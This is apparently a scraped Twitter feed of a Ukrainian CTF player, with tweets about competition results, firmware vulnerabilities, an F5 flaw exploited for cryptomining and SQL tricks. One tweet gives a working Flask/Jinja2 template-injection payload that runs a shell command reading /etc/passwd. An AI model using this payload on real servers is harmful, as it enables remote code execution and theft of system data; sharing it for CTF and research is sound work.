Vladislav Babkin

Member of DefCon-UA CTF Team, member of DNU Cifeidion Team, start-upper.

[Vladislav Babkin @HotabZero]

In the meantime: #F5 CVE-2022-1388 is being exploited for #cryptomining (xmrig is being dropped).

[Vladislav Babkin @HotabZero]

https://t.co/jljEcEmbue

[Vladislav Babkin @HotabZero]

@Izenflamm @ref1cul0 Ты будешь удивлён. Я бы сказал неприятно удивлён :)

[Vladislav Babkin @HotabZero]

@WhiteBit New one: https://t.co/Wg7NOkKc4p

[Mickey @HackingThings]

😳
Naively submitted a ticket to Lenovo asking about a BIOS setting that the latest version has greyed out.

they kindly replied with this insanity:

[Eclypsium @eclypsium]

Why is TrickBot scanning for UEFI vulnerabilities? Learn how the new #TrickBoot module works, why it is potentially so dangerous and how to protect your devices in tomorrow's webinar with @eclypsium and @IntelAdvanced. Register now https://t.co/c1d8mFVqxL

[Eclypsium @eclypsium]

Eclypsium researchers discovered #BootHoleVulnerability in the GRUB2 bootloader that can be used to gain arbitrary code execution on majority of Linux and Windows based systems, even when they are not using GRUB and Secure Boot is enabled. https://t.co/9jc26InmfA

[Vladislav Babkin @HotabZero]

Got 1st place on Backdoor CTF 2019. Nice contest, interesting web & network challenges.
#backdoorctf #dcua

[Eclypsium @eclypsium]

Congrats to Eclypsium's Vladyslav Babkin and his DCUA teammates who took first place in Hackinstabul Capture the Flag over the weekend!

Teknofest Canlı Yayını https://t.co/OEIbinR3Pv

[Vladislav Babkin @HotabZero]

Finished TWCTF 5th (@DefConUA). Hello again, Tokyo.

[Vladislav Babkin @HotabZero]

Mimic CTF was a hard one. Challenges were non-traditional mostly. I believe we managed to learn a lot this time.

[Vladislav Babkin @HotabZero]

Use encode/decode mysql functions to build arbitrary strings using only functions and digits:
https://t.co/EGrDz5klFu

[Vladislav Babkin @HotabZero]

flask + jinja2 RCE, no temp files & no backconnect:
{{url_for.__globals__.sys.modules.subprocess.check_output("cat /etc/passwd",shell=True)}}

[Mykola Ilin @MykolaIlin]

Team dcua is not involved in @Hacken_io project, and did not gave permission to use name in ads. Please stop linking us to your activity.

[Vladislav Babkin @HotabZero]

dcua, darcoders, rainbow kittens, warriors of light

[Vladislav Babkin @HotabZero]

We actually took The Flag
#h4ck1t #ctf

[Vladislav Babkin @HotabZero]

@zealtrustsun Не забирай персонажп моего диплома!

[Vladislav Babkin @HotabZero]

Receive your free dev stickers, worldwide! @notifuse https://t.co/vejqohGA6q

[Vladislav Babkin @HotabZero]

@HackIt_Ukraine
Да, хотим подсказку =)

[Vladislav Babkin @HotabZero]

Verifying myself: I am hotab on Keybase.io. XgeeOSZ5aPhkzlj17hwMwcjVmyZITRvhj0H8 / https://t.co/xFiPgAJw0A